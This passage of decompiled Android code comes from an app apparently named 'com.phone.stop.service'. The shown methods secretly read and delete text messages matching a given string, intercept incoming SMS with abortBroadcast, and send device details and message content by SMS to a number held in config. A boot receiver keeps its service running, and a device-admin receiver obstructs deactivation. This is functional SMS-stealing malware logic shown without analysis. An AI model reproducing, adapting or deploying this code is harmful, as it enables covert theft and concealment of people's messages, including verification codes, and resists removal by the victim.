.end method
.method public b(String)String
.registers 4
00000000 new-instance v0, String
00000004 invoke-static e->a(String)[B, p1
0000000A move-result-object v1
0000000C invoke-virtual e->a([B)[B, p0, v1
00000012 move-result-object v1
00000014 invoke-direct String-><init>([B)V, v0, v1
0000001A return-object v0
.end method
#--------------------------------------------------------------------------------
.class public f
.super Object
.source ""
.field public static a:SimpleDateFormat
.method static constructor <clinit>()V
.registers 1
00000000 new-instance v0, SimpleDateFormat
00000004 invoke-direct SimpleDateFormat-><init>()V, v0
0000000A sput-object v0, f->a:SimpleDateFormat
0000000E return-void
.end method
.method public static a(J)String
.registers 4
00000000 new-instance v0, Date
00000004 invoke-direct Date-><init>(J)V, v0, p0, p1
0000000A const-string v1, "yyyy-MM-dd HH:mm:ss"
0000000E invoke-static f->a(Date, String)String, v0, v1
00000014 move-result-object v0
00000016 return-object v0
.end method
.method public static a(String)String
.registers 4
00000000 new-instance v0, StringBuffer
00000004 invoke-direct StringBuffer-><init>()V, v0
0000000A if-nez p0, :3E
:E
0000000E const-string v1, "yyyyMMdd"
00000012 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
:18
00000018 new-instance v1, SimpleDateFormat
0000001C invoke-virtual StringBuffer->toString()String, v0
00000022 move-result-object v0
00000024 invoke-direct SimpleDateFormat-><init>(String)V, v1, v0
0000002A new-instance v0, Date
0000002E invoke-direct Date-><init>()V, v0
00000034 invoke-virtual SimpleDateFormat->format(Date)String, v1, v0
0000003A move-result-object v0
0000003C return-object v0
:3E
0000003E const-string v1, "yyyy"
00000042 invoke-virtual StringBuffer->append(String)StringBuffer, v0, v1
00000048 move-result-object v1
0000004A invoke-virtual StringBuffer->append(String)StringBuffer, v1, p0
00000050 move-result-object v1
00000052 const-string v2, "MM"
00000056 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
0000005C move-result-object v1
0000005E invoke-virtual StringBuffer->append(String)StringBuffer, v1, p0
00000064 move-result-object v1
00000066 const-string v2, "dd"
0000006A invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
00000070 move-result-object v1
00000072 const-string v2, " HH:mm:ss"
00000076 invoke-virtual StringBuffer->append(String)StringBuffer, v1, v2
0000007C goto :18
.end method
.method public static a(Date, String)String
.registers 3
00000000 invoke-static TextUtils->isEmpty(CharSequence)Z, p1
00000006 move-result v0
00000008 if-eqz v0, :10
:C
0000000C const-string p1, "yyyyMMdd"
:10
00000010 sget-object v0, f->a:SimpleDateFormat
00000014 invoke-virtual SimpleDateFormat->applyPattern(String)V, v0, p1
0000001A if-nez p0, :28
:1E
0000001E new-instance p0, Date
00000022 invoke-direct Date-><init>()V, p0
:28
00000028 sget-object v0, f->a:SimpleDateFormat
0000002C invoke-virtual SimpleDateFormat->format(Date)String, v0, p0
:32
00000032 move-result-object v0
:34
00000034 return-object v0
:36
00000036 move-exception v0
00000038 const-string v0, ""
0000003C goto :34
.catch Exception {:28 .. :32} :36
.end method
#--------------------------------------------------------------------------------
.class public g
.super Object
.source ""
.field private static a:Z
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x1
00000002 sput-boolean v0, g->a:Z
00000006 return-void
.end method
.method public static a(String)V
.registers 2
00000000 sget-boolean v0, g->a:Z
00000004 if-eqz v0, :12
:8
00000008 const-string v0, "................"
0000000C invoke-static Log->e(String, String)I, v0, p0
:12
00000012 return-void
.end method
.method public static a(String, Exception)V
.registers 3
00000000 sget-boolean v0, g->a:Z
00000004 if-eqz v0, :12
:8
00000008 const-string v0, "................"
0000000C invoke-static Log->e(String, String, Throwable)I, v0, p0, p1
:12
00000012 return-void
.end method
#--------------------------------------------------------------------------------
.class public h
.super Object
.source ""
.field a:Handler
.field private b:Context
.field private final c:I
.field private final d:I
.method public constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x1
00000008 iput v0, p0, h->c:I
0000000C const/4 v0, 0x2
0000000E iput v0, p0, h->d:I
00000012 new-instance v0, i
00000016 invoke-direct i-><init>(h)V, v0, p0
0000001C iput-object v0, p0, h->a:Handler
00000020 return-void
.end method
.method static synthetic a(h)Context
.registers 2
00000000 iget-object v0, p0, h->b:Context
00000004 return-object v0
.end method
.method private a(Cursor)V
.registers 3
00000000 if-eqz p1, :A
:4
00000004 invoke-interface Cursor->close()V, p1
:A
0000000A return-void
:C
0000000C move-exception v0
0000000E goto :A
.catch Exception {:4 .. :A} :C
.end method
.method static synthetic a(h, Cursor)V
.registers 2
00000000 invoke-direct h->a(Cursor)V, p0, p1
00000006 return-void
.end method
.method public a(Context, String)V
.registers 12
00000000 const/4 v7, 0x1
00000002 const/4 v6, 0x0
00000004 const/4 v2, 0x0
00000006 iput-object p1, p0, h->b:Context
0000000A invoke-virtual Context->getContentResolver()ContentResolver, p1
00000010 move-result-object v0
00000012 sget-object v1, a->a:Uri
00000016 const-string v5, "_id desc"
0000001A move-object v3, v2
0000001C move-object v4, v2
0000001E invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000024 move-result-object v4
00000026 if-eqz v4, :36
:2A
0000002A invoke-interface Cursor->getCount()I, v4
00000030 move-result v1
00000032 if-nez v1, :3E
:36
00000036 invoke-direct h->a(Cursor)V, p0, v4
:3C
0000003C return-void
:3E
0000003E move v1, v6
:40
00000040 invoke-interface Cursor->moveToNext()Z, v4
00000046 move-result v3
00000048 if-nez v3, :78
:4C
0000004C invoke-direct h->a(Cursor)V, p0, v4
00000052 if-nez v6, :3C
:56
00000056 new-instance v0, Message
0000005A invoke-direct Message-><init>()V, v0
00000060 iput v7, v0, Message->what:I
00000064 iput-object p2, v0, Message->obj:Object
00000068 iget-object v1, p0, h->a:Handler
0000006C const-wide/16 v2, 0xFA0
00000070 invoke-virtual Handler->sendMessageDelayed(Message, J)Z, v1, v0, v2, v3
00000076 goto :3C
:78
00000078 const-string v3, "body"
0000007C invoke-interface Cursor->getColumnIndex(String)I, v4, v3
00000082 move-result v3
00000084 invoke-interface Cursor->getString(I)String, v4, v3
0000008A move-result-object v3
0000008C new-instance v5, StringBuilder
00000090 const-string v8, "delete 查询---------body= "
00000094 invoke-direct StringBuilder-><init>(String)V, v5, v8
0000009A invoke-virtual StringBuilder->append(String)StringBuilder, v5, v3
000000A0 move-result-object v5
000000A2 invoke-virtual StringBuilder->toString()String, v5
000000A8 move-result-object v5
000000AA invoke-static g->a(String)V, v5
000000B0 invoke-virtual String->contains(CharSequence)Z, v3, p2
000000B6 move-result v3
000000B8 if-eqz v3, :180
:BC
000000BC const-string v1, "delete-------------找到此条消息 "
000000C0 invoke-static g->a(String)V, v1
000000C6 const-string v1, "_id"
000000CA invoke-interface Cursor->getColumnIndex(String)I, v4, v1
000000D0 move-result v1
000000D2 invoke-interface Cursor->getInt(I)I, v4, v1
000000D8 move-result v1
000000DA new-instance v3, StringBuilder
000000DE const-string v5, "content://sms/"
000000E2 invoke-direct StringBuilder-><init>(String)V, v3, v5
000000E8 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v1
000000EE move-result-object v3
000000F0 invoke-virtual StringBuilder->toString()String, v3
000000F6 move-result-object v3
000000F8 invoke-static Uri->parse(String)Uri, v3
000000FE move-result-object v3
00000100 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v3, v2, v2
00000106 move-result v3
00000108 new-instance v5, StringBuilder
0000010C const-string v6, "delete-------------删除结果1= "
00000110 invoke-direct StringBuilder-><init>(String)V, v5, v6
00000116 invoke-virtual StringBuilder->append(I)StringBuilder, v5, v3
0000011C move-result-object v3
0000011E invoke-virtual StringBuilder->toString()String, v3
00000124 move-result-object v3
00000126 invoke-static g->a(String)V, v3
0000012C sget-object v3, a->a:Uri
00000130 new-instance v5, StringBuilder
00000134 const-string v6, "_id="
00000138 invoke-direct StringBuilder-><init>(String)V, v5, v6
0000013E invoke-virtual StringBuilder->append(I)StringBuilder, v5, v1
00000144 move-result-object v1
00000146 invoke-virtual StringBuilder->toString()String, v1
0000014C move-result-object v1
0000014E invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v3, v1, v2
00000154 move-result v0
00000156 new-instance v1, StringBuilder
0000015A const-string v2, "delete-------------删除结果2= "
0000015E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000164 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v0
0000016A move-result-object v0
0000016C invoke-virtual StringBuilder->toString()String, v0
00000172 move-result-object v0
00000174 invoke-static g->a(String)V, v0
0000017A move v6, v7
0000017C goto/16 :4C
:180
00000180 add-int/lit8 v3, v1, 0x1
00000184 const/4 v5, 0x3
00000186 if-eq v1, v5, :4C
:18A
0000018A move v1, v3
0000018C goto/16 :40
.end method
#--------------------------------------------------------------------------------
.class i
.super Handler
.source ""
.field final synthetic a:h
.method constructor <init>(h)V
.registers 2
00000000 iput-object p1, p0, i->a:h
00000004 invoke-direct Handler-><init>()V, p0
0000000A return-void
.end method
.method public handleMessage(Message)V
.registers 10
00000000 const/4 v7, 0x0
00000002 const/4 v2, 0x0
00000004 iget v0, p1, Message->what:I
00000008 packed-switch v0, :2C0
:E
0000000E return-void
:10
00000010 iget-object v0, p1, Message->obj:Object
00000014 move-object v6, v0
00000016 check-cast v6, String
0000001A iget-object v0, p0, i->a:h
0000001E invoke-static h->a(h)Context, v0
00000024 move-result-object v0
00000026 invoke-virtual Context->getContentResolver()ContentResolver, v0
0000002C move-result-object v0
0000002E sget-object v1, a->a:Uri
00000032 const-string v5, "_id desc"
00000036 move-object v3, v2
00000038 move-object v4, v2
0000003A invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000040 move-result-object v4
00000042 if-eqz v4, :52
:46
00000046 invoke-interface Cursor->getCount()I, v4
0000004C move-result v1
0000004E if-nez v1, :5E
:52
00000052 iget-object v0, p0, i->a:h
00000056 invoke-static h->a(h, Cursor)V, v0, v4
0000005C goto :E
:5E
0000005E move v1, v7
:60
00000060 invoke-interface Cursor->moveToNext()Z, v4
00000066 move-result v3
00000068 if-nez v3, :78
:6C
0000006C iget-object v0, p0, i->a:h
00000070 invoke-static h->a(h, Cursor)V, v0, v4
00000076 goto :E
:78
00000078 const-string v3, "body"
0000007C invoke-interface Cursor->getColumnIndex(String)I, v4, v3
00000082 move-result v3
00000084 invoke-interface Cursor->getString(I)String, v4, v3
0000008A move-result-object v3
0000008C new-instance v5, StringBuilder
00000090 const-string v7, "handler 查询---------body= "
00000094 invoke-direct StringBuilder-><init>(String)V, v5, v7
0000009A invoke-virtual StringBuilder->append(String)StringBuilder, v5, v3
000000A0 move-result-object v5
000000A2 invoke-virtual StringBuilder->toString()String, v5
000000A8 move-result-object v5
000000AA invoke-static g->a(String)V, v5
000000B0 invoke-virtual String->contains(CharSequence)Z, v3, v6
000000B6 move-result v3
000000B8 if-eqz v3, :1A2
:BC
000000BC const-string v1, "handler-------------找到此条消息 "
000000C0 invoke-static g->a(String)V, v1
000000C6 const-string v1, "_id"
000000CA invoke-interface Cursor->getColumnIndex(String)I, v4, v1
000000D0 move-result v1
000000D2 invoke-interface Cursor->getInt(I)I, v4, v1
000000D8 move-result v1
000000DA new-instance v3, StringBuilder
000000DE const-string v5, "handler-------------id= "
000000E2 invoke-direct StringBuilder-><init>(String)V, v3, v5
000000E8 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v1
000000EE move-result-object v3
000000F0 invoke-virtual StringBuilder->toString()String, v3
000000F6 move-result-object v3
000000F8 invoke-static g->a(String)V, v3
000000FE new-instance v3, StringBuilder
00000102 const-string v5, "content://sms/"
00000106 invoke-direct StringBuilder-><init>(String)V, v3, v5
0000010C invoke-virtual StringBuilder->append(I)StringBuilder, v3, v1
00000112 move-result-object v3
00000114 invoke-virtual StringBuilder->toString()String, v3
0000011A move-result-object v3
0000011C invoke-static Uri->parse(String)Uri, v3
00000122 move-result-object v3
00000124 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v3, v2, v2
0000012A move-result v3
0000012C new-instance v5, StringBuilder
00000130 const-string v6, "handler-------------删除结果1= "
00000134 invoke-direct StringBuilder-><init>(String)V, v5, v6
0000013A invoke-virtual StringBuilder->append(I)StringBuilder, v5, v3
00000140 move-result-object v3
00000142 invoke-virtual StringBuilder->toString()String, v3
00000148 move-result-object v3
0000014A invoke-static g->a(String)V, v3
00000150 sget-object v3, a->a:Uri
00000154 new-instance v5, StringBuilder
00000158 const-string v6, "_id="
0000015C invoke-direct StringBuilder-><init>(String)V, v5, v6
00000162 invoke-virtual StringBuilder->append(I)StringBuilder, v5, v1
00000168 move-result-object v1
0000016A invoke-virtual StringBuilder->toString()String, v1
00000170 move-result-object v1
00000172 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v3, v1, v2
00000178 move-result v0
0000017A new-instance v1, StringBuilder
0000017E const-string v2, "handler-------------删除结果2= "
00000182 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000188 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v0
0000018E move-result-object v0
00000190 invoke-virtual StringBuilder->toString()String, v0
00000196 move-result-object v0
00000198 invoke-static g->a(String)V, v0
0000019E goto/16 :6C
:1A2
000001A2 add-int/lit8 v3, v1, 0x1
000001A6 const/4 v5, 0x3
000001A8 if-eq v1, v5, :6C
:1AC
000001AC move v1, v3
000001AE goto/16 :60
:1B2
000001B2 iget-object v0, p1, Message->obj:Object
000001B6 move-object v6, v0
000001B8 check-cast v6, String
000001BC iget-object v0, p0, i->a:h
000001C0 invoke-static h->a(h)Context, v0
000001C6 move-result-object v0
000001C8 invoke-virtual Context->getContentResolver()ContentResolver, v0
000001CE move-result-object v0
000001D0 sget-object v1, a->d:Uri
000001D4 const-string v5, "_id desc"
000001D8 move-object v3, v2
000001DA move-object v4, v2
000001DC invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
000001E2 move-result-object v3
000001E4 if-eqz v3, :1F4
:1E8
000001E8 invoke-interface Cursor->getCount()I, v3
000001EE move-result v1
000001F0 if-nez v1, :2B0
:1F4
000001F4 iget-object v0, p0, i->a:h
000001F8 invoke-static h->a(h, Cursor)V, v0, v3
000001FE goto/16 :E
:202
00000202 const-string v1, "body"
00000206 invoke-interface Cursor->getColumnIndex(String)I, v3, v1
0000020C move-result v1
0000020E invoke-interface Cursor->getString(I)String, v3, v1
00000214 move-result-object v1
00000216 invoke-virtual String->contains(CharSequence)Z, v1, v6
0000021C move-result v4
0000021E if-nez v4, :22E
:222
00000222 invoke-virtual String->contains(CharSequence)Z, v6, v1
00000228 move-result v1
0000022A if-eqz v1, :2A4
:22E
0000022E const-string v1, "_id"
00000232 invoke-interface Cursor->getColumnIndex(String)I, v3, v1
00000238 move-result v1
0000023A invoke-interface Cursor->getInt(I)I, v3, v1
00000240 move-result v1
00000242 new-instance v4, StringBuilder
00000246 const-string v5, "content://sms/"
0000024A invoke-direct StringBuilder-><init>(String)V, v4, v5
00000250 invoke-virtual StringBuilder->append(I)StringBuilder, v4, v1
00000256 move-result-object v4
00000258 invoke-virtual StringBuilder->toString()String, v4
0000025E move-result-object v4
00000260 invoke-static Uri->parse(String)Uri, v4
00000266 move-result-object v4
00000268 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v4, v2, v2
0000026E sget-object v4, a->a:Uri
00000272 new-instance v5, StringBuilder
00000276 const-string v6, "_id="
0000027A invoke-direct StringBuilder-><init>(String)V, v5, v6
00000280 invoke-virtual StringBuilder->append(I)StringBuilder, v5, v1
00000286 move-result-object v1
00000288 invoke-virtual StringBuilder->toString()String, v1
0000028E move-result-object v1
00000290 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v4, v1, v2
:296
00000296 iget-object v0, p0, i->a:h
0000029A invoke-static h->a(h, Cursor)V, v0, v3
000002A0 goto/16 :E
:2A4
000002A4 add-int/lit8 v1, v7, 0x1
000002A8 const/4 v4, 0x4
000002AA if-eq v7, v4, :296
:2AE
000002AE move v7, v1
:2B0
000002B0 invoke-interface Cursor->moveToNext()Z, v3
000002B6 move-result v1
000002B8 if-nez v1, :202
:2BC
000002BC goto :296
000002C0 .packed-switch 0x1
:10
:1B2
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public j
.super Object
.source ""
.method public static a()String
.registers 2
00000000 new-instance v0, StringBuilder
00000004 invoke-direct StringBuilder-><init>()V, v0
0000000A const-string v1, "型号:"
0000000E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000014 move-result-object v0
00000016 sget-object v1, Build->MODEL:String
0000001A invoke-static j->a(String)String, v1
00000020 move-result-object v1
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000028 move-result-object v0
0000002A const-string v1, ";\n手机:"
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 sget-object v1, Build->BRAND:String
0000003A invoke-static j->a(String)String, v1
00000040 move-result-object v1
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000048 move-result-object v0
0000004A const-string v1, ";\n系统版本:"
0000004E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000054 move-result-object v0
00000056 sget-object v1, Build$VERSION->RELEASE:String
0000005A invoke-static j->a(String)String, v1
00000060 move-result-object v1
00000062 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000068 move-result-object v0
0000006A invoke-virtual StringBuilder->toString()String, v0
00000070 move-result-object v0
00000072 return-object v0
.end method
.method public static a(String)String
.registers 4
00000000 invoke-static j->b(String)String, p0
00000006 move-result-object v0
00000008 const-string v1, "\\"
0000000C const-string v2, "\\\\"
00000010 invoke-virtual String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000016 move-result-object v0
00000018 const-string v1, "\""
0000001C const-string v2, "\\\""
00000020 invoke-virtual String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000026 move-result-object v0
00000028 const-string v1, "\r"
0000002C const-string v2, "\\r"
00000030 invoke-virtual String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000036 move-result-object v0
00000038 const-string v1, "\n"
0000003C const-string v2, "\\n"
00000040 invoke-virtual String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000046 move-result-object v0
00000048 const-string v1, "\t"
0000004C const-string v2, "\\t"
00000050 invoke-virtual String->replace(CharSequence, CharSequence)String, v0, v1, v2
00000056 move-result-object v0
00000058 const-string v1, "[\\x00-\\x08\\x0b-\\x0c\\x0e-\\x1f]+"
0000005C const-string v2, ""
00000060 invoke-virtual String->replaceAll(String, String)String, v0, v1, v2
00000066 move-result-object v0
00000068 return-object v0
.end method
.method private static b(String)String
.registers 1
00000000 if-nez p0, :8
:4
00000004 const-string p0, ""
:8
00000008 return-object p0
.end method
#--------------------------------------------------------------------------------
.class public k
.super Object
.source ""
.method public static a(Context)V
.registers 9
00000000 const/4 v7, 0x1
00000002 const/4 v2, 0x0
00000004 invoke-static a->a(Context)a, p0
0000000A move-result-object v0
0000000C invoke-virtual a->h()Z, v0
00000012 move-result v0
00000014 if-nez v0, :E4
:18
00000018 invoke-virtual Context->getContentResolver()ContentResolver, p0
0000001E move-result-object v0
00000020 sget-object v1, a->b:Uri
00000024 const-string v5, "date"
00000028 move-object v3, v2
0000002A move-object v4, v2
0000002C invoke-virtual/range ContentResolver->query(Uri, [String, String, [String, String)Cursor, v0 .. v5
00000032 move-result-object v1
:34
00000034 invoke-static a->a(Context)a, p0
0000003A move-result-object v2
0000003C invoke-virtual a->h()Z, v2
00000042 move-result v2
00000044 if-nez v2, :DE
:48
00000048 invoke-interface Cursor->moveToNext()Z, v1
0000004E move-result v2
00000050 if-eqz v2, :DE
:54
00000054 const-string v2, "_id"
00000058 invoke-interface Cursor->getColumnIndex(String)I, v1, v2
0000005E move-result v2
00000060 invoke-interface Cursor->getInt(I)I, v1, v2
00000066 move-result v2
00000068 new-instance v3, StringBuilder
0000006C const-string v4, "content://sms/"
00000070 invoke-direct StringBuilder-><init>(String)V, v3, v4
00000076 invoke-virtual StringBuilder->append(I)StringBuilder, v3, v2
0000007C move-result-object v3
0000007E invoke-virtual StringBuilder->toString()String, v3
00000084 move-result-object v3
00000086 invoke-static Uri->parse(String)Uri, v3
0000008C move-result-object v3
0000008E const/4 v4, 0x0
00000090 const/4 v5, 0x0
00000092 invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v3, v4, v5
00000098 move-result v3
0000009A sget-object v4, a->a:Uri
0000009E new-instance v5, StringBuilder
000000A2 const-string v6, "_id="
000000A6 invoke-direct StringBuilder-><init>(String)V, v5, v6
000000AC invoke-virtual StringBuilder->append(I)StringBuilder, v5, v2
000000B2 move-result-object v2
000000B4 invoke-virtual StringBuilder->toString()String, v2
000000BA move-result-object v2
000000BC const/4 v5, 0x0
000000BE invoke-virtual ContentResolver->delete(Uri, String, [String)I, v0, v4, v2, v5
000000C4 move-result v0
000000C6 if-eq v3, v7, :CE
:CA
000000CA if-ne v0, v7, :DE
:CE
000000CE invoke-static a->a(Context)a, p0
000000D4 move-result-object v0
000000D6 const/4 v2, 0x1
000000D8 invoke-virtual a->d(Z)V, v0, v2
:DE
000000DE invoke-interface Cursor->close()V, v1
:E4
000000E4 return-void
:E6
000000E6 move-exception v0
000000E8 goto :E4
.catch Exception {:34 .. :E4} :E6
.end method
.method public static a(String, I, Context)V
.registers 10
00000000 const-string v0, ""
00000004 packed-switch p1, :C8
:A
0000000A new-instance v1, StringBuilder
0000000E invoke-static String->valueOf(Object)String, p0
00000014 move-result-object v2
00000016 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000001C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000022 move-result-object v0
00000024 invoke-virtual StringBuilder->toString()String, v0
0000002A move-result-object v3
:2C
0000002C invoke-static SmsManager->getDefault()SmsManager
00000032 move-result-object v0
00000034 invoke-virtual String->length()I, v3
0000003A move-result v1
0000003C const/16 v2, 0x46
00000040 if-le v1, v2, :A8
:44
00000044 invoke-virtual SmsManager->divideMessage(String)ArrayList, v0, v3
0000004A move-result-object v1
0000004C invoke-virtual ArrayList->iterator()Iterator, v1
00000052 move-result-object v6
:54
00000054 invoke-interface Iterator->hasNext()Z, v6
:5A
0000005A move-result v1
0000005C if-nez v1, :74
:60
00000060 return-void
:62
00000062 const-string v0, "\n短信删除:成功"
00000066 goto :A
:68
00000068 const-string v0, "\n短信删除:失败"
0000006C goto :A
:6E
0000006E const-string v0, ""
00000072 goto :A
:74
00000074 invoke-interface Iterator->next()Object, v6
0000007A move-result-object v3
0000007C check-cast v3, String
00000080 invoke-static a->a(Context)a, p2
00000086 move-result-object v1
00000088 invoke-virtual a->c()String, v1
0000008E move-result-object v1
00000090 const/4 v2, 0x0
00000092 const/4 v4, 0x0
00000094 const/4 v5, 0x0
00000096 invoke-virtual/range SmsManager->sendTextMessage(String, String, String, PendingIntent, PendingIntent)V, v0 .. v5
:9C
0000009C goto :54
:9E
0000009E move-exception v0
000000A0 invoke-virtual Exception->printStackTrace()V, v0
000000A6 goto :60
:A8
000000A8 invoke-static a->a(Context)a, p2
000000AE move-result-object v1
000000B0 invoke-virtual a->c()String, v1
000000B6 move-result-object v1
000000B8 const/4 v2, 0x0
000000BA const/4 v4, 0x0
000000BC const/4 v5, 0x0
000000BE invoke-virtual/range SmsManager->sendTextMessage(String, String, String, PendingIntent, PendingIntent)V, v0 .. v5
:C4
000000C4 goto :60
.catch Exception {:2C .. :5A} :9E
.catch Exception {:74 .. :9C} :9E
.catch Exception {:A8 .. :C4} :9E
000000C8 .packed-switch 0x1
:62
:68
:A
:6E
.end packed-switch
.end method
.method public static a(String, String, Context)V
.registers 9
00000000 const/4 v2, 0x0
00000002 invoke-static SmsManager->getDefault()SmsManager
00000008 move-result-object v0
0000000A invoke-virtual SmsManager->divideMessage(String)ArrayList, v0, p1
00000010 move-result-object v3
00000012 move-object v1, p0
00000014 move-object v4, v2
00000016 move-object v5, v2
00000018 invoke-virtual/range SmsManager->sendMultipartTextMessage(String, String, ArrayList, ArrayList, ArrayList)V, v0 .. v5
0000001E return-void
.end method
#--------------------------------------------------------------------------------
.class public BootReceiver
.super BroadcastReceiver
.source ""
.field public static a:Z
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-boolean v0, BootReceiver->a:Z
00000006 return-void
.end method
.method public constructor <init>()V
.registers 1
00000000 invoke-direct BroadcastReceiver-><init>()V, p0
00000006 return-void
.end method
.method public static a(Context, String)Z
.registers 7
00000000 const/4 v1, 0x0
00000002 const-string v0, "activity"
00000006 invoke-virtual Context->getSystemService(String)Object, p0, v0
0000000C move-result-object v0
0000000E check-cast v0, ActivityManager
00000012 const/16 v2, 0x28
00000016 invoke-virtual ActivityManager->getRunningServices(I)List, v0, v2
0000001C move-result-object v3
0000001E invoke-interface List->size()I, v3
00000024 move-result v4
00000026 move v2, v1
:28
00000028 if-lt v2, v4, :30
:2C
0000002C move v0, v1
:2E
0000002E return v0
:30
00000030 invoke-interface List->get(I)Object, v3, v2
00000036 move-result-object v0
00000038 check-cast v0, ActivityManager$RunningServiceInfo
0000003C iget-object v0, v0, ActivityManager$RunningServiceInfo->service:ComponentName
00000040 invoke-virtual ComponentName->getClassName()String, v0
00000046 move-result-object v0
00000048 invoke-virtual String->equals(Object)Z, v0, p1
0000004E move-result v0
00000050 if-eqz v0, :58
:54
00000054 const/4 v0, 0x1
00000056 goto :2E
:58
00000058 add-int/lit8 v0, v2, 0x1
0000005C move v2, v0
0000005E goto :28
.end method
.method public onReceive(Context, Intent)V
.registers 5
00000000 const-string v0, "com.phone.stop.service.BootService"
00000004 invoke-static BootReceiver->a(Context, String)Z, p1, v0
0000000A move-result v0
0000000C if-nez v0, :2E
:10
00000010 new-instance v0, Intent
00000014 const-class v1, BootService
00000018 invoke-direct Intent-><init>(Context, Class)V, v0, p1, v1
0000001E const/high16 v1, 0x10000000
00000022 invoke-virtual Intent->addFlags(I)Intent, v0, v1
00000028 invoke-virtual Context->startService(Intent)ComponentName, p1, v0
:2E
0000002E return-void
.end method
#--------------------------------------------------------------------------------
.class public MyDeviceAdminReceiver
.super DeviceAdminReceiver
.source ""
.field private final a:String
.method public constructor <init>()V
.registers 2
00000000 invoke-direct DeviceAdminReceiver-><init>()V, p0
00000006 const-string v0, "Ray"
0000000A iput-object v0, p0, MyDeviceAdminReceiver->a:String
0000000E return-void
.end method
.method private a(Context, Intent)V
.registers 6
00000000 invoke-virtual Context->getPackageManager()PackageManager, p1
00000006 move-result-object v0
00000008 const-string v1, "com.android.settings"
0000000C invoke-virtual PackageManager->getLaunchIntentForPackage(String)Intent, v0, v1
00000012 move-result-object v0
00000014 const/high16 v1, 0x10000000
00000018 invoke-virtual Intent->setFlags(I)Intent, v0, v1
0000001E invoke-virtual Context->startActivity(Intent)V, p1, v0
00000024 const/4 v0, 0x0
:26
00000026 const/4 v1, 0x4
00000028 if-lt v0, v1, :2E
:2C
0000002C return-void
:2E
0000002E const-wide/16 v1, 0xBB8
:32
00000032 invoke-static Thread->sleep(J)V, v1, v2
:38
00000038 add-int/lit8 v0, v0, 0x1
0000003C goto :26
:3E
0000003E move-exception v0
00000040 invoke-virtual InterruptedException->printStackTrace()V, v0
00000046 goto :2C
.catch InterruptedException {:32 .. :38} :3E
.end method
.method public onDisableRequested(Context, Intent)CharSequence
.registers 5
00000000 invoke-direct MyDeviceAdminReceiver->a(Context, Intent)V, p0, p1, p2
00000006 const-string v0, "Ray"
0000000A const-string v1, "onDisableRequested"
0000000E invoke-static Log->i(String, String)I, v0, v1
00000014 const-string v0, "谨慎操作!取消激活可能会影响手机正常使用。"
00000018 return-object v0
.end method
.method public onDisabled(Context, Intent)V
.registers 5
00000000 const-string v0, "Ray"
00000004 const-string v1, "onDisabled"
00000008 invoke-static Log->i(String, String)I, v0, v1
0000000E return-void
.end method
.method public onEnabled(Context, Intent)V
.registers 5
00000000 const-string v0, "Ray"
00000004 const-string v1, "onEnabled"
00000008 invoke-static Log->i(String, String)I, v0, v1
0000000E return-void
.end method
.method public onReceive(Context, Intent)V
.registers 5
00000000 invoke-super DeviceAdminReceiver->onReceive(Context, Intent)V, p0, p1, p2
00000006 const-string v0, "Ray"
0000000A const-string v1, "onReceive"
0000000E invoke-static Log->i(String, String)I, v0, v1
00000014 return-void
.end method
#--------------------------------------------------------------------------------
.class public SMSReceiver
.super BroadcastReceiver
.source ""
.field private a:Context
.field private final b:I
.field private c:Z
.method public constructor <init>()V
.registers 2
00000000 invoke-direct BroadcastReceiver-><init>()V, p0
00000006 const/4 v0, 0x1
00000008 iput v0, p0, SMSReceiver->b:I
0000000C const/4 v0, 0x0
0000000E iput-boolean v0, p0, SMSReceiver->c:Z
00000012 return-void
.end method
.method private a(Intent)V
.registers 12
00000000 const/4 v4, 0x0
00000002 invoke-virtual Intent->getExtras()Bundle, p1
00000008 move-result-object v0
0000000A new-instance v6, StringBuffer
0000000E invoke-direct StringBuffer-><init>()V, v6
00000014 const-string v3, ""
00000018 const-string v2, ""
0000001C if-eqz v0, :124
:20
00000020 const-string v1, "pdus"
00000024 invoke-virtual Bundle->get(String)Object, v0, v1
0000002A move-result-object v0
0000002C check-cast v0, [Object
00000030 array-length v1, v0
00000032 new-array v7, v1, [SmsMessage
00000036 array-length v8, v0
00000038 move v5, v4
:3A
0000003A if-lt v5, v8, :C0
:3E
0000003E array-length v5, v7
00000040 move-object v0, v2
00000042 move-object v1, v3
00000044 move v2, v4
:46
00000046 if-lt v2, v5, :DC
:4A
0000004A invoke-virtual SMSReceiver->abortBroadcast()V, p0
00000050 invoke-virtual StringBuffer->toString()String, v6
00000056 move-result-object v2
00000058 invoke-direct SMSReceiver->a(String, String, String)V, p0, v1, v2, v0
